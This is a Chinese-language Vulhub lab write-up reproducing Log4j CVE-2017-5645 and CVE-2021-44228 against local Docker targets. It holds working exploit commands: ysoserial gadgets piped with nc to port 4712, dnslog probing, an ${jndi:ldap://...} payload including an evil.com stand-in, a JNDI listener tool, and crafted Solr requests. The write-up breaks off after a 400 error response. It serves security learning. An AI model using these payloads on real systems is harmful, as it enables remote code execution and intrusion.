Vulhub：Log4j[漏洞复现]

CVE-2017-5645(Log4j反序列化)

启动靶场环境

docker-compose up -d

靶机IPV4地址

ifconfig | grep eth0 -A 5

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ifconfig | grep eth0 -A 5
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 192.168.1.138 netmask 255.255.255.0 broadcast 192.168.1.255
        inet6 fe80::d3f0:b854:e38c:9f58 prefixlen 64 scopeid 0x20<link>
        ether 00:0c:29:ae:ed:8a txqueuelen 1000 (Ethernet)
        RX packets 35392 bytes 37203041 (35.4 MiB)
        RX errors 0 dropped 0 overruns 0 frame 0

阅读vulhub给出的文档

cat README.md

# Apache Log4j Server 反序列化命令执行漏洞（CVE-2017-5645）

Apache Log4j是一个用于Java的日志记录库，其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

## 漏洞环境

执行如下命令启动漏洞环境

```
docker compose up -d
```

环境启动后，将在4712端口开启一个TCPServer。

说一下，除了使用vulhub的docker镜像搭建环境外，我们下载了log4j的jar文件后可以直接在命令行启动这个TCPServer：`java -cp "log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer`，无需使用vulhub和编写代码。

## 漏洞复现

我们使用ysoserial生成payload，然后直接发送给`your-ip:4712`端口即可。

```
java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712
```

然后执行`docker compose exec log4j bash`进入容器，可见 /tmp/success 已成功创建：

![](1.png)

执行[反弹shell的命令](http://www.jackson-t.ca/runtime-exec-payloads.html)，成功弹回shell：

![](2.png)

进入容器环境中

docker exec -it 7d1002f21338 /bin/bash

攻击机中通过urldns.jar对靶场利用链进行探测

java -jar Urldns.jar file all lfgmo7.dnslog.cn

将gadget发送到靶机

cat 1.ser | nc 192.168.1.138 4712

dnslog收到回显，可见CC31攻击链适用于靶机

通过ysosersial查看可用payload

java -jar ysoserial.jar

这里直接选用CommonsCollections7进行反序列化测试

我尝试在靶机/tmp目录下新建一个0dayhp文件，生成Gadget

java -jar ysoserial.jar CommonsCollections7 "touch /tmp/0dayhp" > 1.ser

在靶机中进入/tmp目录下

root@7d1002f21338:/# cd /tmp
root@7d1002f21338:/tmp# ls
hsperfdata_root

将Gadget发送到靶机4712端口

cat 1.ser | nc 192.168.1.138 4712

此时回到靶机/tmp目录下，可见0dayhp文件已被成功创建

root@7d1002f21338:/# cd /tmp
root@7d1002f21338:/tmp# ls
hsperfdata_root
root@7d1002f21338:/tmp# ls
0dayhp hsperfdata_root

CVE-2021-44228(Log4j2_JNDI注入)

启动靶场环境

docker-compose up -d

阅读vulhub给出的漏洞文档

cat README.zh-cn.md

# Apache Log4j2 lookup JNDI 注入漏洞（CVE-2021-44228）

[中文版本(Chinese version)](README.zh-cn.md)

Apache Log4j 2 是Java语言的日志处理套件，使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入，执行任意代码。

参考链接：

- https://logging.apache.org/log4j/2.x/security.html
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://xz.aliyun.com/t/10649

## 漏洞环境

Apache Log4j2 不是一个特定的Web服务，而仅仅是一个第三方库，我们可以通过找到一些使用了这个库的应用来复现这个漏洞，比如Apache Solr。

执行如下命令启动一个Apache Solr 8.11.0，其依赖了Log4j 2.14.1：

```
docker compose up -d
```

服务启动后，访问`http://your-ip:8983`即可查看到Apache Solr的后台页面。

## 漏洞复现

`${jndi:dns://${sys:java.version}.example.com}`是利用JNDI发送DNS请求的Payload，我们将其作为管理员接口的action参数值发送如下数据包：

```
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

```

我们可以在DNS日志平台收到相关日志，显示出当前Java版本：

![](1.png)

实际利用JNDI注入漏洞，可以使用[JNDInjector](https://github.com/rebeyond/JNDInjector)。利用完毕后，可见`touch /tmp/success`已经成功被执行：

![](2.png)

试用浏览器访问靶机8983端口

点击左侧Logging由右侧展示信息可知，靶机使用了Log4j2组件

理论上来说，一切会被记入Log4j2日志组件的行为都可以触发漏洞，所以我尝试寻找接口

点击左侧的Core Admin，尝试对Core进行重命名

使用Yakit抓取请求包

GET /solr/admin/cores?_=1733816918585&action=RENAME&core=demo&other=abc&wt=json HTTP/1.1

Host: 192.168.1.138:8983

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

Accept: application/json, text/plain, */*

X-Requested-With: XMLHttpRequest

Referer: http://192.168.1.138:8983/solr/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

通过JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具启用监听以便提供Payload

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'touch /tmp/0dayhp' -A 192.168.1.138

该Payload尝试在靶机/tmp目录下新建一个0dayhp文件

JNDI注入完整Payload：${jndi:ldap://192.168.1.138:1389/x2h2y7}

尝试对/solr/admin/cores接口下的参数进行JNDI注入

GET /solr/admin/cores?_=1733816918585&action=${jndi:ldap://192.168.1.138:1389/x2h2y7}&core=demo&other=abc&wt=json HTTP/1.1

Host: 192.168.1.138:8983

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

Accept: application/json, text/plain, */*

X-Requested-With: XMLHttpRequest

Referer: http://192.168.1.138:8983/solr/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

进入靶机终端中

docker exec -it 2e7af438ec81 /bin/bash

进入靶机/tmp目录下

root@2e7af438ec81:/# cd /tmp
root@2e7af438ec81:/tmp# ls
hsperfdata_root jetty-0_0_0_0-8983-webapp-_solr-any-5641252888151320351 start_7074523919817787729.properties

在Yakit中直接进行发包获得响应

HTTP/1.1 400 Bad Request

Content-Security-Policy: default-src 'none'; base-uri 'none'; connect-src 'self'; form-action 'self'; font-src 'self'; frame-ancestors 'none'; img-src 'self'; media-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self'; worker-src 'self';

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Content-Type: application/json;charset=utf-8

Content-Length: 331

{

"responseHeader": {

"status": 400,

"QTime": 0

},

"error": {

"metadata": [

"error-class",

"org.apache.solr.common.SolrException",

"root-error-class",

"org.apache.solr.common.SolrException"

],

"msg": "Unsupported operation: ldap://192.168.1.138:1389/x2h2y7",

"code": 400

}

}